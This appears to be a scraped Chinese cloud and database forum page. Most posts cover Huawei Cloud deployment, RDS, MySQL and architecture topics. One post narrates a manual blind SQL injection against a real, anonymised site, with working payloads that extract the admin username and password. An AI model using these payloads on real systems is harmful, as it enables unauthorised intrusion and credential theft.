    本文以搭建discuz论坛为例,介绍如何使用华为云的弹性伸缩等服务搭建一个可自动横向扩展的web服务。1.准备工作1.1 申请虚拟私有云a) 在创建云主机之前,需要创建一个虚拟私有云,在虚拟私有云界面点击【申请虚拟私有云】进行申请。b) 完成虚拟私有云VPC_DISCUZ的创建后,VPC_DISCUZ下会自动创建一个子网和安全组,此时我们仍需创建一个弹性IP用于绑定接下来要创建的云主机,弹性IP是指可以提供互联网上合法的静态IP地址的服务。将弹性IP地址和路由网络中关联的虚拟机绑定,可以实现VPC内的业务资源通过固定的公网IP地址与互联网互通。在刚刚创建的虚拟私有云VPC_DISCUZ下点击【申请弹性IP】,填写合适的参数完成弹性IP的申请。c)安全组创建后,用户可以在安全组中定义各种访问规则,当虚拟机加入该安全组后,即受到这些访问规则的保护。选择VPC_DISCUZ下的安全组,配置安全组规则。1.2 申请负载均衡a) 进入弹性负载均衡页面,点击【创建负载均衡】,选择之前创建的VPC_DISCUZ以及合适的公网带宽,创建负载均衡。b) 点击进入刚刚创建的弹性负载均衡,点击【添加监听器】,选择合适的参数,完成监听器的创建。1.3 安装数据库数据库可以使用华为云的RDS服务,也可以自行创建云服务器安装所需的数据库。这里主要介绍在创建的云服务器上安装数据库。a) 在弹性云服务器的界面点击【购买弹性云服务器】,选择相应规格的云服务器,网络相关参数选择刚刚创建的虚拟私有云、安全组以及弹性IP,完成云服务器的创建。b) 等到弹性云服务器页面上该云服务器的状态为【运行中】时,即表示该云服务器创建完成,就可以对这台虚拟机进行操作了,使用XFtp、Xshell等工具连接云服务器的弹性IP,完成mysql数据库的安装配置。2. 创建一台云服务器用于安装discuz论坛2.1 创建云服务器重复1.3过程,创建一台云服务器。由于可通过私网访问数据库,因此可以将之前用于绑定数据库节点的弹性IP解绑以节省资源。进入虚拟私有云界面,选择刚刚用于绑定数据库节点的弹性IP,点击【解绑定】,解除弹性IP与数据库节点的绑定后,点击【绑定】,选择新创建的云服务器进行绑定。此时即可通过公网访问该云服务器,安装PHP、Apache、Mysql等环境。2.2 安装论坛环境安装完成后,即可进行discuz论坛的安装,安装方法可参考discuz官方文档。完成全部的安装操作后,可选择将弹性IP解绑后释放以节省资源。注:此处数据库服务器所填参数为之前安装mysql云服务器的私网IP,而数据库用户名和密码为安装mysql时所授权远程访问的用户名和密码。
  • 【SQL分享】某网站安全检测之数据库手工注入
    某网站安全检测之数据库手工注入一、引子 长夜慢慢,无心睡眠…… 无意中翻到几年前听的一首名为《祖先的阴影》的摇滚,这么长久的历史,混合着许多的罪恶与功绩;这么“灿烂的文化”,夹杂着太多的愚昧与文明。美好的,如汉字,围棋古筝,诗词曲赋等;糟糕的,如一辈子只会干“杀尽叛贼、占据王位,选好王妃,建造坟堆”四件事的皇帝及官僚制度,小脚,太监及八股文等等。 噢,且慢,八股文——不要言之过早!今天,让我用八股文这一旧瓶,来包装一下IT方面的新酒;把数据库注入这一有几个年头的安全技术,再写一篇略有新意的文章。二、概要 所谓数据库注入,也就是SQL Injection,就是攻击者把SQL命令**到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。来自官方的说法是:“当应用程序使用输入内容来构造动态SQL语句以访问数据库时,会发生SQL注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生SQL注入攻击。SQL注入可能导致攻击者能够使用应用程序登录在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。”在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入攻击。而许多网站程序在编写时,没有对用户输入数据的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样用户就可以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是SQL注入产生了。其实简单点说,SQL注入的原理就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。 当然,能不能构造、构造什么样的数据库查询代码,就有是菜鸟和高手的区别了;同时我向大伙保证:我绝不是高手——我基本上连数据库都不会用,所以大伙看了文章后不要问我太多太深的问题,因为我也不知道。三、检测 查找资料的过程中,被链接到某电信技术研究院网站,看了一下首页代码及链接,用and和or简单测试了一下,没发现什么,在最后快要放弃的时候,发现如下页面有点意思。1=1(不正常)1=2(也不正常)加一个特殊符号,则如下图示。(返回正常)(返回异常) 嘿嘿,存在注入,心花怒放!四、暴库 上面就可以知道该网站后台数据库是MS SQL Server。(select count(*) from [sysobjects])>=0(返回正常,可见数据库为SQL Server) 探测该网站数据库实例名,我很幸运,竟然通过错误暴出来,请看下图。SQL Server中DB_NAME 最大值是NVARCHAR(128),我提交错误,网站也报错,看红色下划线处和红色长方形里,可见数据库实例名为jstrd。五、寻表 漫长而痛苦的工作开始了,同时因为在创建一个数据库的同时,系统会自动建立一些系统表,我构造了如下的语句,来探测数据库实例jstrd中的表名。 限于篇幅的缘故我在这里只介绍与应用实例有关的一个系统表(SYSOBJECTS)及其相关的字段。 表SYSOBJECTS为数据库内创建的每个对象(约束,规则,表,视图,触发器等)创建一条记录。该表相关字段的含义如下: SYSOBJECTS.name 对象名,如:表名,视图名。 SYSOBJECTS.id 对象id。 SYSOBJECTS.type 对象类型(p存储过程,v视图,s系统表,u用户表)。 太帅了,返回正确,提交的“系统态”语句是: http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1 翻译成我们容易识别的“用户态”(以后都用这种形式表示)是: http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))0 and ´1´=´1&classid=1 或许各位要懵了,这都是些什么东西啊,乱七八糟的?我笑而不答,谜底将在后面揭开。但事先点一下: xtype是那张表的一个字段,xtype=char(117) 也就是xtype=´U´ 意思是取用户的表。空格(Space)的ASCII编码是32。 历经多次的失败后,在如下语句输入时,探测到我认为是存储用户名和密码的一张表(之前也探测到别的表,但我认为对自己没有用。并且要说一下的是当我探测到有TblAd之后,我直觉得加上了TblAdmin;后来发现还没完,有TblAdminUs之后,我直觉得加上了TblAdminUser)。 http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and ´1´=´1&classid=1 可见有TblAdminUser这么一张表,我们可以再测试一下,如下图。and (select count(*) from TblAdminUser)>0六、探列 各位看到这里,上面的谜底很可能都明白了。什么,还有不明白的!那好,告诉你:网站及后台系统理会我上面所说的“系统态”,不理会“用户态”。你们看看如下两个表。(部分Unicode编码表)(部分ASCII编码表) 刚才寻到了表,现在我们的工作是探列了,综合运用上面提到过的知识,加上我的直觉猜测里面应该就有username和password两个列,果然!请看下图。 http://*/show_products.asp?id=22´and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and ´1´=´1&classid=1 http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and ´1´=´1&classid=1七、结果 冲锋的号角已经响起,胜利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在这。 http://*/show_products.asp?id=22´%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20´1´=´1&classid=1 可见username列中,第一个字符是a (ASCII编码为97),很快,就猜测到了是admin。 判断password列中,第一个字符应该在g之后,如下图示。 http://*/show_products.asp?id=22´ (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and ´1´=´1&classid=1and 很快,就猜到了是j,呵呵,有点意思。如下图示。 http://*/show_products.asp?id=22´and (Select count(*) From jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and ´1´=´1&classid=1 历经千辛万苦后,我终于找到了全部密码,竟然是********* 轻松找到后台,登陆,果然正确!如下图示。八、尾声 因为这份文档主要侧重数据库手工注入,所以注入成功获得网站控制权后的进一步渗透不作介绍。在这里,是我抛出一块破砖,引大伙收获更多的良玉。个人感觉,注入能成功,得益于以下三点: 1、Unicode编码和ASCII编码的应用; 2、系统会自动建立的系统表sysobjects的应用; 3、db_name最大长度128的应用,加上一些直觉判断。 整个过程,耗了近一个星期的业余时间,此时,又是一个深夜…… 夜色沉沉,睡意浓浓。原创作品,允许转载,转载请联系后台管理员
  • 云服务市场到底怎么样
    近期,运营商世界网发表了《2016年度中国云服务及云存储市场分析报告》(以下简称《报告》),这是业内首个以运营商数据作支持的行业分析报告,通过对云服务及云存储市场全方位分析,揭示了一个更真实、更全面的市场现状。数据显示,2016年,中国云服务市场规模超过500亿元,达到516.6亿。预计2017年中国云计算市场份额将达到690亿以上。此外近三年来,年复合增长率超过32%,而且2016年增长率更高。如此巨大的市场带了云服务的具体的需求。报告指出,我国云服务市场规模正不断扩大。在对云服务的具体需求种类中,市场需求量最大的当属云主机,其次是云存储。此外,云广告的需求增长也十分迅猛,而对虚拟桌面、网络加速、数据库等需求趋缓。数据显示,市场对云主机的当前需求量为80.2%,未来需求量为75.8%。云主机是源自云计算平台的产品,是在一组集群主机上虚拟出多个类似独立主机的的部分,集群中每个主机上都有云主机的一个镜像。在数据安全、运行稳定性等方面,云主机都比传统VPS和服务器更有优势,在费用上更是远低于独立服务器。云存储是市场对云服务的另一大主要需求,当前需求量为77.8%,未来需求量为81.3%。使用者可以不受时间地点限制地在云存储上存取资源,因此云存储已经成为继U盘、智能终端、邮箱后的又一大存储选择。用户的另一大云服务需求是云广告。尽管在现在,用户对云广告的需求量还仅为39.5%,但预计在未来,用户需求量将上升至42.8%,超过对数据库的需求。此外,用户对数据库、网络加速的需求量正在缓慢下滑,对虚拟桌面的需求增长也在放缓。其中,对数据库的需求量将从当前的42.7%下降到39.4%,对网络加速的需求量将从当前的23.5%下降到21.9%,对虚拟桌面的需求量将从当前的26.1%微增至28.3%2016年云服务领域,互联网企业使用率最高,其中,游戏、电商、金融、视频、手机企业使用量排名前五。2017年各类云应用使用情况的预测,从数值来看,游戏云使用的量最大,其次是电商云等。从趋势来看,金融云、视频云、工业云、政务云都有很大的市场潜力。颇具看点的是, 2016年度中国云企业TOP5,其中龙头老大仍为阿里云,增长较快的则是中国电信的天翼云和中国联通的沃云。另外,还列举了2016年中国云存储企业TOP5,分别是阿里云,天翼云,联通沃云,世纪互联和西部数码。在运营商颇具优势的CDN服务中,联通沃云已经凭借优势占据了第二名,天翼云紧随其后。业内人士指出,安全和快速是云存储的关键。中国电信和中国联通作为运营商,在高带宽资源、保密方面具备优势。《报告》分析了两大运营商云服务的能力。分析指出,云服务能力快速崛起,云计算基地建设迅猛,云存储潜力巨大。《报告》最后还对2017年度云服务市场进行了预估:一、市场将持续快速增长,并且年增长率在30%以上;二、创新企业增加,风险投资依然对创新云服务感兴趣;三、服务能力加强,阿里云、天翼云、沃云等继续扩充云服务建设;四、市场集中加剧,阿里云、天翼云、沃云等份额提高;五、安全需求升级,云安全市场将急剧扩大。
  • [技术干货] innodb_flush_log_at_trx_commit彻底理解
    1. 首先要明白事务日志有自己的buffer, 而文件系统也有OS buffer/cache。2. 其实log buffer里面的内容要完全落到磁盘(redo log file)需要两个过程: 写入log file(这部实际上是写入到了os buffer)和flush(刷盘)3. 所以简单总结innodb_flush_log_at_trx_commita. 0: 每次事务提交不做什么,数据库系统每秒做一次写log file并刷盘, 这可能会丢失1S钟的事务b. 1:每次事务提交既写log file,也刷屏。数据无丢失。c. 2: 每次事务提交,仅仅写log file,而不刷盘。数据库系统每秒刷盘。只要操作系统不崩溃,不会丢失问事务。
  • [技术干货] 跟我一起学 MS SQL Server (二) -- 了解数据库状态
    数据库状态数据库总是处于一个特定的状态中,例如,这些状态包括 ONLINE、OFFLINE 或 SUSPECT。若要确认数据库的当前状态,请选择 sys.databases 目录视图中的 state_desc 列或 DATABASEPROPERTYEX 函数中的 Status 属性。状态 定义ONLINE 可以对数据库进行访问。即使可能尚未完成恢复的撤消阶段,主文件组仍处于在线状态。OFFLINE 数据库无法使用。数据库由于显式的用户操作而处于离线状态,并保持离线状态直至执行了其他的用户操作。 例如,可能会让数据库离线以便将文件移至新的磁盘。然后,在完成移动操作后,使数据库恢复到在线状态。RESTORING 正在还原主文件组的一个或多个文件,或正在脱机还原一个或多个辅助文件。数据库不可用。RECOVERING 正在恢复数据库。恢复进程是一个暂时性状态,恢复成功后数据库将自动处于在线状态。如果恢复失败,数据库将处于可疑 状态。数据库不可用。RECOVERY PENDING SQL Server 在恢复过程中遇到了与资源相关的错误。数据库未损坏,但是可能缺少文件,或系统资源限制可能导致无法启 动数据库。数据库不可用。需要用户另外执行操作来解决问题,并让恢复进程完成。 SUSPECT 至少主文件组可疑或可能已损坏。在 SQL Server 启动过程中无法恢复数据库。数据库不可用。需要用户另外执行操作来 解决问题。EMERGENCY 用户更改了数据库,并将其状态设置为 EMERGENCY。数据库处于单用户模式,可以修复或还原。数据库标记为 READ_ONLY,禁用日志记录,并且仅限 sysadmin 固定服务器角色的成员访问。EMERGENCY 主要用于故障排除。例如, 可以将标记为“可疑”的数据库设置为 EMERGENCY 状态。这样可以允许系统管理员对数据库进行只读访问。只有 sysadmin 固定服务器角色的成员才可以将数据库设置为 EMERGENCY 状态。数据库文件状态在 SQL Server 中,数据库文件的状态独立于数据库的状态。文件始终处于一个特定状态,例如 ONLINE 或 OFFLINE。若要查看文件的当前状态,请使用 sys.master_files 或 sys.database_files 目录视图。如果数据库处于离线状态,则可以从 sys.master_files 目录视图中查看文件的状态。状态 定义ONLINE 文件可用于所有操作。如果数据库本身处于在线状态,则主文件组中的文件始终处于在线状态。如果主文件组中的文件 处于离线状态,则数据库将处于离线状态,并且辅助文件的状态未定义。 OFFLINE 文件不可访问,并且可能不显示在磁盘中。文件通过显式用户操作变为离线,并在执行其他用户操作之前保持离线状态。 注意 当文件已损坏时,该文件仅应设置为离线,但可以进行还原。设置为离线的文件只能通过从备份还原才能设置为在线。RESTORING 正在还原文件。文件处于还原状态(因为还原命令会影响整个文件,而不仅是页还原),并且在还原完成及文件恢复之前, 一直保持此状态。RECOVERY PENDING 文件恢复被推迟。由于在段落还原过程中未还原和恢复文件,因此文件将自动进入此状态。需要用户执行其他操作来解决 该错误,并允许完成恢复过程。SUSPECT 联机还原过程中,恢复文件失败。如果文件位于主文件组,则数据库还将标记为可疑。否则,仅文件处于可疑状态,而 数据库仍处于在线状态。在通过以下方法之一将文件变为可用之前,该文件将保持可疑状态: 1. 还原和恢复 2. 包含 REPAIR_ALLOW_DATA_LOSS 的 BCC CHECKDB DEFUNCT 当文件不处于在线状态时被删除。删除离线文件组后,文件组中的所有文件都将失效。
  • RDS关键特性之性能监控
    方法[*]RDS整合了免费的云监控服务(CES)来呈现数据库实例及数据库引擎的性能和健康状况。[*]RDS监控那些活跃的数据库实例及数据库引擎,并将性能监控原始数据指标与维度发送给CES。[*]RDS支持监控数据库实例及数据库引擎的关键性能指标,包括计算/内存/存储容量使用率、I/O活动、数据库连接数、QPS/TPS、缓冲池、读/写活动等。[*]RDSConsole 支持链接到CESConsole,在那里通过某些维度过滤查看数据库实例及数据库引擎的性能指标数据曲线图。好处[*]您可以跟踪数据库实例及数据库引擎的性能和健康状况,并有可以设置告警规则,通过短信邮件自动通知运维人员,做到“高枕无忧”
  • [热门活动] 【特惠活动】免费240GB数据备份限时开通
  • [技术干货] 最佳实践——购买RDS MySQL实例
    在购买RDS MySQL实例过程中,用户需要设置各种选项。针对这些选项,本文档向您提供设置参考,使您购买的实例更符合要求,以避免后续不必要的变更,减少维护工作量。购买RDS MySQL实例的具体操作,请参见《关系型数据库购买指南》的“购买RDS MySQL实例”章节。1.1 选择付费方式RDS支持付费方式如下:[*]包年包月[*]按需付费从价格上看,在相同时长的情况下,包年包月比较优惠。[*]对于长期使用的数据库实例,建议在购买时“付费方式”选择“包年包月”。[*]对于临时使用的数据库实例,建议在购买时“付费方式”选择“按需付费”。RDS MySQL实例成功购买后,不支持变更付费方式,请谨慎选择付费方式。1.2 选择区域华为云在不同区域(Region),支持不同可用分区(Available zone,简称AZ)。表1-1 RDS支持的Region和AZ中国华北区1具有2个可用区(Available zone),其它区域为单可用区。如果需要跨可用区高可用特性,区域请选择中国华北区1。1.3 选择HA和同步模型选择HA(High Availability)[*]如果购买MySQL实例时,不开启HA,则购买的实例为单实例。当该实例出现系统崩溃时,则没有任何替代实例接管业务读写请求。[*]如果购买MySQL实例时,开启HA,RDS会自动为用户创建主备实例,组成双机热备高可用架构。当主实例宕机时,RDS会快速将备实例升为主实例并接管业务读写请求。该过程为系统自动完成,无需用户介入参与。因此,在购买实例时,用于生产的数据库,建议开启HA;用于测试的数据库,可以选择不开启HA,以减少性能损耗和节省资源成本。选择同步模型MySQL主从复制原理流程如下:1. 主实例数据库将数据变更记录到二进制日志“Binary log”中。该部分变更记录称作二进制日志事件,即binary log events。2. 备实例数据库将主实例数据库的binary log events,拷贝到备实例数据库的中继日志“Relay log”。3. 备实例数据库重做“Relay log”中的事件,将变更应用到它自己的数据库。对于主实例数据库是否等待备实例数据库收到“Binary log”才响应客户端,不同的同步模型(也称为复制模型),处理方式存在差异。根据处理方式的不同,同步模型可以分为“异步”和“半同步”。[*]异步RDS默认异步复制,即主实例数据库执行完Commit后,在主实例数据库写入“Binarylog”日志后便可成功响应客户端,无需等“Binary log”日志传到备实例数据库,一旦主实例数据库系统崩溃,则有可能会丢失日志。[*]半同步等待备实例数据库接收到“Binarylog”日志,并成功写入“RelayLog”之后,才返回Commit操作成功给客户端。事务成功提交后,至少有两份日志记录,一份在主实例数据库“Binary log”上,另一份在备实例数据库“Relay Log”上,进一步保证数据完整性。半同步复制很大程度取决于主备网络RTT(往返时延),以“semisync_master”和“semisync_slave”插件形式存在。从上面的复制原理可以看出,采用异步复制模型,可减少性能损耗,但可能存在数据丢失风险。选择半同步复制模型,则可确保数据完整性,但存在性能损耗,按目前测试结果,性能会降低10%左右。最佳实践[*]用于生产的数据库建议开启HA,用于测试的数据库可关闭。[*]如果数据库的性能优先,并且能容忍一定的数据丢失,推荐HA选择异步复制。[*]如果数据库的数据完整性优先,并且能容忍一定的性能损耗,推荐HA选择半同步复制。[*]1.4 选择数据库版本选择版本RDS for MySQL支持的数据库版本,如表1-2所示。表1-2 MySQL版本列表5.7版本与5.6兼容,除了性能上有提升外,还具有如下新特性和改进功能:[*]安全提升[*]在线索引更名[*]InnoDB增强[*]JSON支持[*]新增sys schema[*]在线修改复制关系[*]支持多源复制[*]支持多线程复制(MTS)[*]半同步增强其中,最值得关注的是,支持多线程复制特性。它不同于MySQL 5.6中schema级别的多线程复制,而是提供了真正的多线程复制能力,大大降低复制延迟。最佳实践[*]新上线的业务,推荐使用MySQL 5.7数据库。[*]已有业务迁移上云,在充分的兼容性测试后,推荐迁移到MySQL 5.7。[*]推荐使用数据库最新的子版本。RDS暂不支持将MySQL 5.6直接升级到MySQL 5.7,后续会推出该功能。请确定好您所需的数据库版本,并在购买时选择。1.5 选择数据库实例规格RDS提供了多种实例规格,以满足不同需求。一般情况下,2核以下的实例都用于测试,不建议用作生产数据库。同时,选择何种的实例规格,取决于如下主要因素:[*]数据库吞吐量,即QPS(Query PerSecond)。[*]最大数据库连接数。常用规格测试数据,请参见表1-3:表1-3 常用规格测试数据上述测试数据基于sysbench的“oltp.lua”模型测试得出,数据量为64个表,每个表1000万条记录。建议数据库上云前做实际的测试,以确定满足业务需要的数据库实例规格。1.6 选择参数组选择参数组数据库参数组类似于数据库引擎配置值的容器,参数组中的参数可应用于一个或多个数据库实例。它相对于传统一个实例一套参数的模式,在使用上有一些差异,例如:[*]RDS提供了若干默认参数组,例如default-MySQL-5.6和default-MySQL-5.7。默认参数组不可编辑。[*]如果要修改某个参数值,需要基于默认参数组创建一个新的参数组,然后修改新参数组的参数值。[*]如果您对购买实例时选择的参数组不满意,可在创建成功后,变更该实例对应的参数组。[*]有些参数值的修改需重启实例才能生效。最佳实践推荐使用自定义参数组。将自定义参数组应用于数据库实例,不要使用默认参数组。即使购买实例时使用了默认参数组,创建成功后也可变更实例的参数组。1.7 选择存储类型RDS与云硬盘(Elastic Volume Service,简称为EVS)均采用分布式块存储作为存储资源,具有3副本冗余,数据持久性达到99.99999%。RDS支持存储类型:普通IO、高IO和超高IO。各存储类型含义如下:[*]普通IO,是由SATA存储类型组成的存储资源池,IOPS为1/GB。[*]高IO,是由SAS存储类型组成的存储资源池,IOPS为2/GB。[*]超高IO,是由SSD存储类型组成的存储资源池,IOPS为50/GB。数据库系统通常是IT系统最为重要的系统,对存储IO性能要求高,存储类型建议选择超高IO,RDS暂时不支持购买实例后变更存储类型。1.8 选择备份策略使用场景HA高可用替代不了自动备份的作用。例如,由于某种原因,某个数据库或表被恶意或误删除,虽然有HA高可用,但是主备数据库由于数据同步原因,数据同步被删除,无法还原。遇到这种情况,只能求助于自动备份。通过恢复到指定时间点(PITR)功能,用户可以将数据库实例恢复到删除前的某一时刻,还原被删除的数据。所以,自动备份具有很高的重要性。用户可根据业务情况,设置自动备份保留天数,范围为1~35天,同时,可设置自动备份开始时间。用户一旦打开自动备份策略,RDS每天会在预设时间1小时内触发一次全量备份,每5分钟进行一次增量备份(binlog备份),并将该部分备份数据上传到对象存储服务(ObjectStorage Service,简称OBS)的对象存储空间。最佳实践[*]生产数据库请务必打开自动备份策略。[*]保留天数建议至少为3天,如果要求更高的话,可增加保留天数,最大可保留35天。[*]由于备份会损耗数据库读写性能,请根据业务情况设置备份开始时间,建议选择业务低峰时间段启动自动备份
  • 架构师必须知道的架构发展过程及趋势
    软件架构是软件的生命,活力和骨架,它随着时间而成长和演化,不变的软件架构是一具僵尸而已。《设计之美》提到,无情的重构,架构就会产生。而这种架构成长的动力在哪里?其动力就在于业务的增长,一切不为业务服务的架构演化都是耍流氓!本文将从作者多年的实践经验出发,解读什么是架构和业务,微服务架构,以及架构演化如何促进业务增长,文章还阐述了架构师这一角色如何处理复杂问题。什么是架构和业务大师Grady Booch将软件架构解释为架构是一种设计,但并非所有设计都是架构。架构代表着发展一个系统的重要决定,而这种重要性是通过引入变化的成本来衡量的。有一本书叫做《恰如其分的软件架构》Just Enough Software Architecture(A Risk-Driven Approach),里面有一种观点,就是对于特定的一个系统,需要做多少相应的架构设计工作呢?如果设计工作容易开展,风险小,也许不需要太多架构投入;如果设计工作风险大,牵一发而动全身,那么就需要加大架构的规划。引入变化成本将成为架构决策的重要因素,这与我的想法不谋而合,其实架构的演化是与业务息息相关的。所谓业务,从经济学来说,就是利润=收入-成本,那么架构在演化的时候必须尊重这个基本法则。架构的核心目标是支持业务,增加收入,降低成本,减少费用。互联网软件的架构大部分都是从三层结构开始的:前端、业务逻辑层、数据库。这可能是大部门业务在初创阶段需要的,为啥这种结构?这是一种解耦,将变化快、中、慢三个层次的模块分为三个部分。前端变化最快,独立起来,中间业务逻辑变化次之,数据层相对稳定。这样不同速度的变化,可以在自己的赛道上按自己的节奏走。另外一个重要原因是Conway法则,软件的架构总是和组织结构有关,工程师很容易分成前端工程师,服务端工程师和数据库DBA。软件架构的演化那么三层结构是否就无敌了么?在实践工程中,三层结构也不少烦恼,例如通常一个需求会涉及到几个层次的修改,而这种修改需要分散在不同的工程角色中,那么协调的成本很高,排期的过程也要服从木桶原理,最慢的工序将决定最后的发布时间。各个层次的耦合越来越多,越来越繁杂。举个例子,逻辑层为了加快访问速度,会引入Cache层,这样数据就可能分布在Cache里,或者数据库层。另外,业务层的数据来源可能不全部来源于数据库,很多来源于离线的数据处理脚本,这些数据通常会存放在NoSQL中,例如Redis,HBase等。再进一步发展就是,各个业务使用NoSQL的模式也不一样,有的业务数据量巨大,访问延迟很慢,有的只是配置文件,需要实时更新。随着业务发展,业务层开始使用其他第三方的服务,通过服务接口获取数据。最后,这就慢慢形成了一个网状的服务依赖和数据依赖。慢慢的,简单的三层结构渐渐堕落成无序的网状结构了。对于网状结构的初期,线上特别容易出问题,容易造成雪崩效应,一个模块的变化容易改变整个系统的服务能力(如果你的架构没有出现过这个问题,也许说明你的业务发展的不够快,不够复杂)。在流量增长迅猛的时候,大家会被迫忙于解决线上问题,架构师也开始谋划架构的长期演化。很多同学会说,为啥不早早就把架构规划好呢?能够早早把架构规划化,无忧无虑的开发公司估计都破产了,举例来说,有些电商公司在发展初期,对于是做平台还是做服务常常是争论不休的,这样适合的架构也不容易落地的。京东从ASP.NET转向Java,从面向技术的架构转型为面向业务的架构,都是适合业务自发展的需求,从技术角度来看并非是最理想的解决方案。人们对于过多的层次理解总是有限,一般人对于超过3层的结构,基本就糊里糊涂了,比如说OSI定义了7层结构,但是最流行的确实是TCP/IP的4层结构;J2EE定义的层次复杂性吓的很多创业人,敬而远之,这就是一些轻量级的Spring等框架大行其道;MFC类的继承关系超过3层,开发者基本上就找不到北了,目前还有很多讨论。因此,对于架构的设计,应该服从简单的原则。解耦是架构演化的核心问题按照业务进行系统切分是必须经过的一个过程,分而治之,独立自由发展,这也是业务快速发展初期的必由之路。解耦通常是很痛苦的一个过程。解耦有很多方式,通常采用以下的一些技术:最通常的是引入队列,通过生产者和消费者模式,减少两个模块的耦合度。 通过反转注入IOC,通过配置定义不同的实现。 采用事件驱动的设计模式,包括观察者模式,消息链模式等。 解耦之后,整个系统会清爽很多,代码结构会变得很清楚,处女座的同学可以开心一阵子了。解耦可以帮助处理部分的性能问题,特别是异步化的调用。但是,解耦并没有解决各个模块的扩容问题。解耦只是以前缠在一起的问题,解开在不同的独立服务和服务之间的连接中。例如,在通过Kafka队列解耦过程中,队列堆积是经常碰到的问题,如何从监控,控流,容错等方面,改进碰到的问题就是解耦后面首要解决的问题。在扩容的过程中,会碰到很多瓶颈,这些瓶颈往往是一个接一个的出来,就像打地鼠一样,打死一个,出来一个,打死两个,出来一对。当然,前提是业务的高速发展。处理架构的瓶颈如何处理扩容问题,核心是找到系统的瓶颈,常见的瓶颈包括下面的情况:● 5.1 数据写瓶颈内存先做聚合,到一定量后统一写入数据; 采用NoSQL技术; 水平分库和垂直分库。 ● 5.2 计算瓶颈计算瓶颈经常出现在复杂数学模型的计算,随着Features的增多,计算时间变长。计算瓶颈通常需要自定义解决方案,例如内存换时间,分布式计算,分级服务。例如在搜索引擎中,对于商业性潜力大的查询,可以花费更多的计算。对于长尾词,可以减少计算的层次,以达到节省计算的成本。● 5.3 存储瓶颈存储成本几乎是每一个爆发性增长业务都要碰到了,存储包括日志,图片和数据等。存储通常分布在内存,缓存,SSD,磁盘等地方。内存不够用是常见的最大问题,内存通常都被数据塞满了,分布式NoSQL通常是实用的解决方案,如果数据还是大,那么可能需要做索引,可以使用Elastics Search,Lucence等。现代软件的架构SOA谈到架构,我们都会提到SOA,这是一个老话题,到底什么是面向服务的架构?SOA是通过分布式的服务模块来构建软件系统,服务之间通过接口契约联系起来,而避免了不同模块之间采用不同的方式交换数据,例如文件交换,内存共享,数据库直连等方式。这种方式改善了封装,复用和解耦等方面,适用于复杂的大规模系统。SOA的第一批实现基本都是企业级别的,例如Java 的ESB(企业服务总线),实现过于笨重,部署过于复杂。与此同时,各个互联网企业也基于SOA进行大量开发工作,也积累了很多SOA,特别是分布式的经验。为了加快SOA的开发节奏,充分利用云部署的架构进行水平扩展,一种轻量级的SOA方法正在慢慢的流行起来,这就是微服务。微服务化的趋势微服务是组织和利用分布式能力的一种模式,微服务提供一个高性能的服务接口,是进程之上的一种模式。提供独立的业务能力,特别强调的是,独立的业务能力;微服务是用一组服务来构建应用,服务独立部署在不同进程中,不同服务通过轻量级的交互来通信,例如RPC,HTTP,服务可独立扩展和伸缩,每个服务定义了明确的边界,独立团队来维护。微服务特征包括以下8个方面:组件化; 业务组织团队; 服务就是产品; 去中心化; 基础设施自动化; 容错设计; 计划设计; 